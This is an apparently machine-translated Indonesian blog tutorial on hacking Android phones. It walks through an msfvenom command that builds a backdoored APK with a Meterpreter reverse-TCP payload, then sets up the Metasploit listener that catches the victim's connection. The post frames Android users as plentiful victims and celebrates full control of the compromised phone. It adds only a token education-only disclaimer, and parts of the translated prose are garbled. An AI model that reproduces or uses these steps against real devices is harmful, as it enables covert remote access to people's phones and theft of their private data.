Cara Hack Android Menggunakan Metasploit

Mengapa Hack Ponsel Android?

Jadi pertanyaan pertama yang terlintas dalam pikiran kita setelah mendengar ini adalah mengapa di dunia kita ingin hack Android?? Jawaban atas pertanyaan itu adalah mayoritas pengguna yang benar-benar sederhana di luar sana adalah pengguna Android dan Anda memiliki banyak korban untuk ditargetkan,               Tapi serius jangan hack perangkat siapapun tanpa izin mereka atau Anda bisa mendapat banyak masalah karena melakukan hacking android.           

Apa itu Android?

Menurut Wikipedia :

ANDROID ADALAH SYSYTEM OPERASI BERBASIS LINUX KERNEL, DAN DIRANCANG UNTUK PERANGKAT MOBILE TOUCHCREEN SEPERTI SMARTPHONE DAN KOMPUTER TABLET.

AWALNYA DIKEMBANGKAN OLEH ANDROID, INC., YANG DIDUKUNG GOOGLE SECARA FINANSIAL DAN KEMUDIAN DIBELI PADA TAHUN 2005, ANDROID DIRESMIKAN PADA TAHUN 2007 BERSAMAAN DENGAN BERDIRINYA OPEN HANDSET ALLIANCE: SEBUAH KONSORSIUM PERANGKAT KERAS, PERANGKAT LUNAK, DAN PERUSAHAAN TELEKOMUNIKASI YANG DITUJUKAN UNTUK MENINGKATKAN STANDAR TERBUKA UNTUK SELULER. PERANGKAT

Apa itu Metasploit?

Metasploit diciptakan oleh HD Moore pada tahun 2003 sebagai alat jaringan portabel yang menggunakan Perl. Pada tahun 2007, Kerangka Metasploit telah ditulis ulang secara lengkap di Ruby.

Untuk memasukkannya ke dalam kata-kata sederhana, ini adalah Kerangka Kerja Open Source, alat untuk menciptakan eksploitasibagi korban jarak jauh dan juga memiliki keseluruhan daftar eksploitasi yang tersedia di Metasploit Framework.                 Ini adalah alat favorit bagi periset keamanan dan hacker etis untuk melakukan serangan mereka. Ini sangat mudah untuk membuat muatan yang berbeda untuk Sistem Operasi dan platform yang berbeda.

Metasploit untuk Android Hacking?

Metode apa yang akan digunakan untuk hack telepon? Kita akan membuat Backdoor  dan menginstalnya pada Victim Phone.

Apa itu backdoor

Backdoor adalah metode atau cara untuk melewati otentikasi pada produk, komputer, dll. Biasanya digunakan untuk akses tidak sah ke komputer.

Untuk Android, kita akan membuat file APK dengan backdoor di dalamnya. Paket Aplikasi Android (APK) adalah format file yang digunakan untuk mendistribusikan dan menginstal perangkat lunak aplikasi ke OS Google Android. Hal ini mirip dengan paket MSI atau paket Deb pada sistem operasi berbasis Linux.

Persyaratan:-

1. Metasploit Framework (Pra-Installed di Kali Linux)
2. Korban Smartphone Android (Sayangnya itu adalah ponsel saya)                                                                                            

   Langkah Untuk Hack Android SmartPhone Menggunakan Metasploit:

   Jadi sekarang mari kita masuk ke dalamnya.
   1. Buka Terminal
   2. Kita akan menggunakan Metasploit Venom Framework untuk membuat exploit / backdoor untuk tutorial ini.
   3. Gunakan perintah ini untuk menghasilkan exploit / Backdoor bagi korban.

   msfvenom -p android/meterpreter/reverse_tcp LHOST=<attacker_system_ip> LPORT=4444 R > hack.apk

   
   Izinkan saya menjelaskan Perintah di atas jadi kami menggunakan msfvenom  sebagai generator eksploitasi untuk android menggunakan Meterpreter untuk koneksi balik ke sistem penyerang. LHOST mendefinisikan alamat IP penyerang dimana dia akan mendapatkan koneksi balik dari korban. Dan sama dengan koneksi LPORTakan dilakukan pada port 4444  dan R>digunakan untuk menghasilkan executable.
   
   Sekarang kita semua siap untuk langkah selanjutnya karena payload ini menggunakan reverse_tcp  sehingga penyerang akan mendengarkan port yang ditentukan di payload untuk koneksi balik dari korban.
   Jadi sekarang kita perlu mengatur handler untuk menangani koneksi masuk ke port mari kita lakukan.

   root@kali:~/# msfconsole

   

   use exploit/multi/handler set payload android/meterpreter/reverse_tcp
   
   

   
   Sekarang kita akan melihat koneksi terbuka, pada perangkat penyerang.

   set lhost 192.168.1.104 set lport 4444 exploit 
   
   

   Ingat bahwa LHOST & LPORT akan menjadi penyerang alamat IP dan port untuk mendengarkan koneksi balik. dan memanfaatkan untuk mulai mendengarkan.
   
   Sekarang segera setelah penyerang menginstall APK exploit / backdoor Anda akan mendapatkan sesi penilai balik di terminal Anda seperti ini.
   
   Di sini kita memiliki beberapa informasi yang telah kita ekstrak dari sistem Android sehingga ponsel korban telah sepenuhnya dimiliki.                                                      Akhirnya, sukses hack dance 😈 😈
   
   
   
   Jadi setelah semua ini menjelaskan apa yang telah kita pelajari tidak pernah menginstal aplikasi dari sumber yang tidak diketahui 😀 atau Anda benar-benar kacau: 3
   Akibatnya, Jika Anda masih memiliki kebingungan atau masalah apapun, Anda bisa mengecek tutorial video.
    Penting: Semua rincian yang ditampilkan dalam artikel hanya untuk tujuan pendidikan dan kami tidak bertanggung jawab atas tindakan Anda.
   Apakah Anda menyukai tutorial  Hack Smartphone Android menggunakan Metasploit? Bagikan artikel ini dengan teman Anda.